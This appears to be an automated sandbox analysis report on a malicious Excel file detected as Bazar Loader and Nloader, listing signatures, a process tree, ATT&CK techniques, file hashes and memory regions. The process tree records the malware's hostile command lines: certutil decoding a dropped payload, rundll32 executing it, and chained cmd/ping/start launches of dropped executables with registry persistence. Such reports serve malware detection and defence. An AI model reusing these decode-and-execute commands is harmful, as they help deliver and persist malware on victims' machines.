Analysis

  • max time kernel
    150s
  • max time network
    19s
  • platform
    windows7_x64
  • resource
    win7v20201028
  • submitted
    01-04-2021 18:53

General

  • Target

    subscription_1617291613.xlsb

Malware Config

Extracted

Language
xlm4.0
Source

Signatures

  • Bazar Loader

    Detected loader normally used to deploy BazarBackdoor malware.

  • Nloader

    Simple loader that includes the keyword 'cambo' in the URL used to download other families.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Bazar/Team9 Loader payload 5 IoCs
  • Nloader Payload 1 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 4 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 9 IoCs
  • Runs ping.exe 1 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 46 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\subscription_1617291613.xlsb
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1068
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c certutil -decode %PUBLIC%\569390.pdi %PUBLIC%\569390.ui && rundll32 %PUBLIC%\569390.ui,DF1
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:1672
      • C:\Windows\SysWOW64\certutil.exe
        certutil -decode C:\Users\Public\569390.pdi C:\Users\Public\569390.ui
        3⤵
          PID:1496
        • C:\Windows\SysWOW64\rundll32.exe
          rundll32 C:\Users\Public\569390.ui,DF1
          3⤵
          • Blocklisted process makes network request
          • Loads dropped DLL
          • Suspicious use of WriteProcessMemory
          PID:744
          • C:\ProgramData\tkqyg\tkqyg.exe
            "C:\ProgramData\tkqyg\tkqyg.exe"
            4⤵
            • Executes dropped EXE
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:792
            • C:\Windows\system32\cmd.exe
              cmd /c ping 8.8.7.7 -n 2 & start C:\ProgramData\tkqyg\tkqyg.exe QB2KET
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:944
              • C:\Windows\system32\PING.EXE
                ping 8.8.7.7 -n 2
                6⤵
                • Runs ping.exe
                PID:552
              • C:\ProgramData\tkqyg\tkqyg.exe
                C:\ProgramData\tkqyg\tkqyg.exe QB2KET
                6⤵
                • Executes dropped EXE
                • Suspicious use of WriteProcessMemory
                PID:1384
                • C:\Windows\system32\cmd.exe
                  cmd /c ping 8.8.7.7 -n 2 & start C:\Users\Admin\AppData\Local\Temp\CPPB25E.exe MEW1DLD
                  7⤵
                  • Loads dropped DLL
                  • Suspicious use of WriteProcessMemory
                  PID:524
                  • C:\Windows\system32\PING.EXE
                    ping 8.8.7.7 -n 2
                    8⤵
                    • Runs ping.exe
                    PID:1328
                  • C:\Users\Admin\AppData\Local\Temp\CPPB25E.exe
                    C:\Users\Admin\AppData\Local\Temp\CPPB25E.exe MEW1DLD
                    8⤵
                    • Executes dropped EXE
                    • Adds Run key to start application
                    • Suspicious use of WriteProcessMemory
                    PID:2032
                    • C:\Windows\system32\cmd.exe
                      cmd /c ping 8.8.7.7 -n 2 & start C:\Users\Admin\AppData\Local\Temp\cPPB25E.exe O3PAB
                      9⤵
                      • Loads dropped DLL
                      • Suspicious use of WriteProcessMemory
                      PID:940
                      • C:\Windows\system32\PING.EXE
                        ping 8.8.7.7 -n 2
                        10⤵
                        • Runs ping.exe
                        PID:744
                      • C:\Users\Admin\AppData\Local\Temp\CPPB25E.exe
                        C:\Users\Admin\AppData\Local\Temp\cPPB25E.exe O3PAB
                        10⤵
                        • Executes dropped EXE
                        PID:1172

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Persistence

    Registry Run Keys / Startup Folder

    1
    T1060

    Defense Evasion

    Modify Registry

    2
    T1112

    Discovery

    Query Registry

    1
    T1012

    System Information Discovery

    1
    T1082

    Remote System Discovery

    1
    T1018

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\ProgramData\tkqyg\tkqyg.exe
      MD5

      81e6dcf2510ffc2400743e912448013f

      SHA1

      b1b29fff6348b805851513ce8812990a2f5a4e39

      SHA256

      258ad65c676c26e608f331bc538a985fd4ac019c6ca4229e4e197acaa93d82c4

      SHA512

      f1e8cc52664acb684ab9f06227d28de19629de888fdb73ad42f325199e587388301751cdd8c10680127b5d6a439c98da9a25252951ba6bb26648880714a596bc

    • C:\ProgramData\tkqyg\tkqyg.exe
      MD5

      81e6dcf2510ffc2400743e912448013f

      SHA1

      b1b29fff6348b805851513ce8812990a2f5a4e39

      SHA256

      258ad65c676c26e608f331bc538a985fd4ac019c6ca4229e4e197acaa93d82c4

      SHA512

      f1e8cc52664acb684ab9f06227d28de19629de888fdb73ad42f325199e587388301751cdd8c10680127b5d6a439c98da9a25252951ba6bb26648880714a596bc

    • C:\ProgramData\tkqyg\tkqyg.exe
      MD5

      81e6dcf2510ffc2400743e912448013f

      SHA1

      b1b29fff6348b805851513ce8812990a2f5a4e39

      SHA256

      258ad65c676c26e608f331bc538a985fd4ac019c6ca4229e4e197acaa93d82c4

      SHA512

      f1e8cc52664acb684ab9f06227d28de19629de888fdb73ad42f325199e587388301751cdd8c10680127b5d6a439c98da9a25252951ba6bb26648880714a596bc

    • C:\Users\Admin\AppData\Local\Temp\CPPB25E.exe
      MD5

      81e6dcf2510ffc2400743e912448013f

      SHA1

      b1b29fff6348b805851513ce8812990a2f5a4e39

      SHA256

      258ad65c676c26e608f331bc538a985fd4ac019c6ca4229e4e197acaa93d82c4

      SHA512

      f1e8cc52664acb684ab9f06227d28de19629de888fdb73ad42f325199e587388301751cdd8c10680127b5d6a439c98da9a25252951ba6bb26648880714a596bc

    • C:\Users\Admin\AppData\Local\Temp\CPPB25E.exe
      MD5

      81e6dcf2510ffc2400743e912448013f

      SHA1

      b1b29fff6348b805851513ce8812990a2f5a4e39

      SHA256

      258ad65c676c26e608f331bc538a985fd4ac019c6ca4229e4e197acaa93d82c4

      SHA512

      f1e8cc52664acb684ab9f06227d28de19629de888fdb73ad42f325199e587388301751cdd8c10680127b5d6a439c98da9a25252951ba6bb26648880714a596bc

    • C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3825035466-2522850611-591511364-1000\0f5007522459c86e95ffcc62f32308f1_fc0e0041-a258-4d5d-ad46-ed56e156a8eb
      MD5

      9d96c6e1a217708aa7a2e8466fa9a3ad

      SHA1

      1b501be99ec067c24bf1453b80ba43c3be74129d

      SHA256

      9a2d013b1362250440641e7d7fe10bcefe1ce170ff6b8b2847756a15e139836b

      SHA512

      82a8d4aa8f85e5340898cad16be3f6ca87cb0299488f88eb0707fbb4cc5e5b5188389408ca0c7507258a6f79f206f81276a50e97ccb7773f088a7bbdaa6dc52a

    • C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3825035466-2522850611-591511364-1000\0f5007522459c86e95ffcc62f32308f1_fc0e0041-a258-4d5d-ad46-ed56e156a8eb
      MD5

      11f2c51d9e159cc23771640061d60f88

      SHA1

      c929a5c7ad079290f545fce346bcc73f5079ea94

      SHA256

      f9d29df85cdadebc35ca53c6be476931b9380892a646c1ae912bf032bf519c8f

      SHA512

      eb3fef822c982504052cf0c710d09e107d1621b40852df20726af17b426a7a3a5906aea328193ec020a62de490ac2505592f05f7b0aa0a02cdc56ad6a06044fd

    • C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3825035466-2522850611-591511364-1000\0f5007522459c86e95ffcc62f32308f1_fc0e0041-a258-4d5d-ad46-ed56e156a8eb
      MD5

      343dc36a00dc66f25224b9956963cc95

      SHA1

      0c2740b2b4c16f258bb08095925ec0fc67bc9fd6

      SHA256

      40734428dd1c172d31a68666d769c77fb18cc77d16fef37d4f67776facce13ed

      SHA512

      d6e295f6ba7ab6501b93f26ef6607cf0976c6d06524756b1850d1308adcd134fa97afda1e0bb37d24f4ea01de9a6bb8362c6b3f3ab580f1b0e90cfc998e518ea

    • C:\Users\Public\569390.pdi
      MD5

      5cc5f895b91ab4c1835ac9b83e86663b

      SHA1

      b51565a65b167172b71516435f4118ec9a278673

      SHA256

      81a75221faf7f28e2b2ce76471499d72b94da9ae48e0e1dc5bf01060e9195065

      SHA512

      3a4289acdc392d999f4edde46c4261956b9be0aba355dc730a7bee08b9b00dff8733f84c97365aa773fad8bde29aa8dc040aac3067e7af3e7f75049c897e08f0

    • C:\Users\Public\569390.ui
      MD5

      f4dc5b1151ed77bfcfae8b73147d93c2

      SHA1

      e53166ca0f09ad46795cd8f5a1c9a4a2d5b21415

      SHA256

      71cd6cb93fcf508761b72fac05bc96a07697718eb928c72fc7731dab457b3606

      SHA512

      077b54dc49c0596ead6b5f754c77deecbda5d7dfee34c21b3d5faab727c8a83804c7da4652597905f5428ab52f2cd10eabbbaae12e30d3a5ccebba0b4ce479eb

    • \ProgramData\tkqyg\tkqyg.exe
      MD5

      81e6dcf2510ffc2400743e912448013f

      SHA1

      b1b29fff6348b805851513ce8812990a2f5a4e39

      SHA256

      258ad65c676c26e608f331bc538a985fd4ac019c6ca4229e4e197acaa93d82c4

      SHA512

      f1e8cc52664acb684ab9f06227d28de19629de888fdb73ad42f325199e587388301751cdd8c10680127b5d6a439c98da9a25252951ba6bb26648880714a596bc

    • \Users\Admin\AppData\Local\Temp\CPPB25E.exe
      MD5

      81e6dcf2510ffc2400743e912448013f

      SHA1

      b1b29fff6348b805851513ce8812990a2f5a4e39

      SHA256

      258ad65c676c26e608f331bc538a985fd4ac019c6ca4229e4e197acaa93d82c4

      SHA512

      f1e8cc52664acb684ab9f06227d28de19629de888fdb73ad42f325199e587388301751cdd8c10680127b5d6a439c98da9a25252951ba6bb26648880714a596bc

    • \Users\Admin\AppData\Local\Temp\CPPB25E.exe
      MD5

      81e6dcf2510ffc2400743e912448013f

      SHA1

      b1b29fff6348b805851513ce8812990a2f5a4e39

      SHA256

      258ad65c676c26e608f331bc538a985fd4ac019c6ca4229e4e197acaa93d82c4

      SHA512

      f1e8cc52664acb684ab9f06227d28de19629de888fdb73ad42f325199e587388301751cdd8c10680127b5d6a439c98da9a25252951ba6bb26648880714a596bc

    • \Users\Public\569390.ui
      MD5

      f4dc5b1151ed77bfcfae8b73147d93c2

      SHA1

      e53166ca0f09ad46795cd8f5a1c9a4a2d5b21415

      SHA256

      71cd6cb93fcf508761b72fac05bc96a07697718eb928c72fc7731dab457b3606

      SHA512

      077b54dc49c0596ead6b5f754c77deecbda5d7dfee34c21b3d5faab727c8a83804c7da4652597905f5428ab52f2cd10eabbbaae12e30d3a5ccebba0b4ce479eb

    • memory/524-30-0x0000000000000000-mapping.dmp
    • memory/552-22-0x0000000000000000-mapping.dmp
    • memory/744-14-0x0000000000150000-0x0000000000155000-memory.dmp
      Filesize

      20KB

    • memory/744-10-0x0000000000000000-mapping.dmp
    • memory/744-40-0x0000000000000000-mapping.dmp
    • memory/792-19-0x0000000001BA0000-0x0000000001BC3000-memory.dmp
      Filesize

      140KB

    • memory/792-20-0x00000000001E0000-0x0000000000202000-memory.dmp
      Filesize

      136KB

    • memory/792-18-0x0000000000430000-0x0000000000455000-memory.dmp
      Filesize

      148KB

    • memory/792-16-0x0000000000000000-mapping.dmp
    • memory/940-39-0x0000000000000000-mapping.dmp
    • memory/944-21-0x0000000000000000-mapping.dmp
    • memory/1068-3-0x0000000071681000-0x0000000071683000-memory.dmp
      Filesize

      8KB

    • memory/1068-2-0x000000002FF01000-0x000000002FF04000-memory.dmp
      Filesize

      12KB

    • memory/1068-4-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/1172-42-0x0000000000000000-mapping.dmp
    • memory/1328-31-0x0000000000000000-mapping.dmp
    • memory/1384-27-0x0000000001D40000-0x0000000001D63000-memory.dmp
      Filesize

      140KB

    • memory/1384-23-0x0000000000000000-mapping.dmp
    • memory/1496-7-0x0000000000000000-mapping.dmp
    • memory/1496-8-0x00000000756C1000-0x00000000756C3000-memory.dmp
      Filesize

      8KB

    • memory/1672-6-0x0000000000000000-mapping.dmp
    • memory/1728-5-0x000007FEF6500000-0x000007FEF677A000-memory.dmp
      Filesize

      2.5MB

    • memory/2032-37-0x0000000000350000-0x0000000000373000-memory.dmp
      Filesize

      140KB

    • memory/2032-33-0x0000000000000000-mapping.dmp